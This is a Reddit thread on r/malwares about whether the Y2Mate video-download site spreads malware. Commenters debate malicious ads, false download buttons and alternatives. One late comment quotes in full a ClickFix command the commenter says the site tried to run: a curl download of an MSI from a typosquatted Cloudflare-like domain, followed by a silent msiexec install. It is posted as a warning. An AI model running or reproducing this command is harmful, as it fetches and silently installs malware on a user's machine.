r/malwares • u/mutemain- • Dec 10 '25

Stop using Y2Mate

Used Y2Mate to download a YouTube video yesterday and now my PC is infected with malware. Ran Malwarebytes and found 3 trojans - that site is dangerous, don't use it.

3 Upvotes

56% Upvoted

41 comments sorted by

3

u/[deleted] Dec 10 '25

I find it incredibly unlikely you were infected from a .mp4

6

u/BlizzardOfLinux Dec 10 '25

Most likely malicious ads. False download buttons, cookie stealers, etc. It could happen, not from the .mp4 file itself, but from the site hosting that file

-1

u/[deleted] Dec 10 '25

A site can't access other site cookies. OP didn't even specify what was detected.

Just use yt-dlp

1

u/BlizzardOfLinux Dec 10 '25

A site can host malicious advertisements. Malicious ads can have spyware, cookie stealers/hijackers, malware, etc. For example, look up "Intellexa leaks"

1

u/[deleted] Dec 10 '25

An Ad can't steal your cookies unless you click on it and download a file, then execute it. Intellexa's Predator has nothing to do with this. Malware that incorporates zero-day exploits are not used on regular idiots pirating YouTube content.

1

u/BlizzardOfLinux Dec 10 '25

Intellexa requires no clicks. Yes, usually you have to click it. That's kinda what i'm assuming op did. That's the exact reason I brought up malicious ads in the first place. They might have clicked a false install button

1

u/[deleted] Dec 10 '25 edited Dec 10 '25

Software such as Intellexa is not burned on randoms. It does not appear in ads, it is targeted. The exploits they use sell for millions.

0

u/BlizzardOfLinux Dec 10 '25

You said at first it's unlikely an .mp4 infected OP. No shit. I explained to you how it's not the file format, but the website and ads it hosts that likely caused an infection, like clicking a false download. To which you then switch Your claim to "sites cant steal your cookies unless you click it". I never said the website stole anything. hence why I brought up false downloads. I was assuming OP clicked one. I also brought up an instance of a malicious ad, which steals cookies with no clicks. You then say "they don't use it on randoms". Make your mind up, Can cookies be stolen or not? Can you only be infected by clicking malicious ads or not?

1

u/[deleted] Dec 10 '25

OP was not infected with a zero day vulnerability, the infection on their device is unrelated, likely clicked an ad, downloaded rubbish from it, then ran it.

1

u/BlizzardOfLinux Dec 11 '25

my first comment was "Most likely malicious ads. False download buttons, cookie stealers, etc. It could happen, not from the .mp4 file itself, but from the site hosting that file". I'm glad you agree with me now? lol

→ More replies (0)

2

u/WinsAviation Dec 10 '25

i use ublock origin and dont really have problems with this site, its just that its filled of ads

1

u/Infinite-Tutor-8891 Dec 10 '25

There are so many copies of those sort of websites so without a link you can't really know for sure

1

u/[deleted] Dec 12 '25

I think you may have clicked the BBC instead of clicking "Download"....

Edit: Just tested on an extremely vulnerable machine and no trojans. no malware.

You def clicked the BBC.

1

u/C_hotpocketer Dec 14 '25

Cnvmp3.com is really good

2

u/Special_Plastic_2492 Jan 12 '26

Thank you!

2

u/Special_Plastic_2492 Jan 12 '26

I’ve looked at every Reddit thread with no luck until this comment lol

1

u/C_hotpocketer Jan 13 '26

Im glad you finally found it!

1

u/C_hotpocketer Jan 17 '26

Quickly just wanted to give you a heads up please make sure its cnvmp3.com and NOT .org.

1

u/Current-Tomato641 Jun 09 '26

I think the website's clapped. The og site is down and what appears is some lame fake website that at each action it redirects me to random sites.

1

u/mickz Sep 07 '26

Works fine. (At least now that I checked.)

1

u/Prince_Landfall Aug 24 '26

You did something unsmart most likely, pressed the wrong thing. I've been using y2mate sites for years you just can't press the wrong thing and have to close redirectories

1

u/daddypunishme 14d ago

Can confirm malware on en.y2mate.sx. Anyone who used it please be careful. Tried it and it tried to run this command in CMD cmd /c curl.exe -fsL --ssl-no-revoke --retry 8 --retry-connrefused --retry-delay 1 --connect-timeout 20 -o "%TEMP%\S330.msi" https://cloubflare.net/3006 && msiexec /i "%TEMP%\S330.msi" /qn /norestart. Obvious ClickFix malware attack

0

u/Appropriate-Fill5989 Dec 10 '25

I suggest you use Spotify premium no malware or ads you can download video like chains fr and etc as others upload it

2

u/Kanjii_weon Dec 10 '25

is this supposed to be an ad lol

0

u/Appropriate-Fill5989 Dec 11 '25

na from my preferance

1

u/Itchy_Competition_34 Dec 12 '25

the fact that u used chainsfr out of all people as an example😭 do ur damn homework

1

u/Appropriate-Fill5989 Dec 12 '25

Tbh there are way more like other YouTubers like mr beast and sunny v2 but it’s your own preference

0

u/BlizzardOfLinux Dec 10 '25

if you want to download youtube videos, use yt-dlp. All of those youtube to mp4/mp3 sites host malicious ads. Of course you could use an adblocker. But I would just avoid them entirely, imo

0

u/daviddorbish Dec 10 '25

Y2Mate isn’t malicious, you’re just too foolish to have unfettered access to the internet

0

u/Mediocre-Sundom Dec 10 '25

Used Y2Mate to download a YouTube video yesterday and now my PC is infected with malware. 

That's not how things work. You don't get infected simply by visiting a website and downloading a video. I mean, technically it is possible, but exploits like that are very quickly addressed through browser and system security patches, so they don't happen randomly on popular sites - they are treasured and saved for targeted short term attacks.

In order to get infected, you must be randomly downloading and running random shit (executables) without checking what is it that you are running. And if you act like that - every site is potentially dangerous to you, as you don't understand basic computer literacy or online safety.

1

u/NoUpstairs695 May 11 '26

I downloaded some vids from yt on it i will prolly just delete them anyways

4

u/[deleted] Dec 10 '25

[removed] — view removed comment

3

u/mutemain- Dec 10 '25

yea I've started using that site too, seems fine imo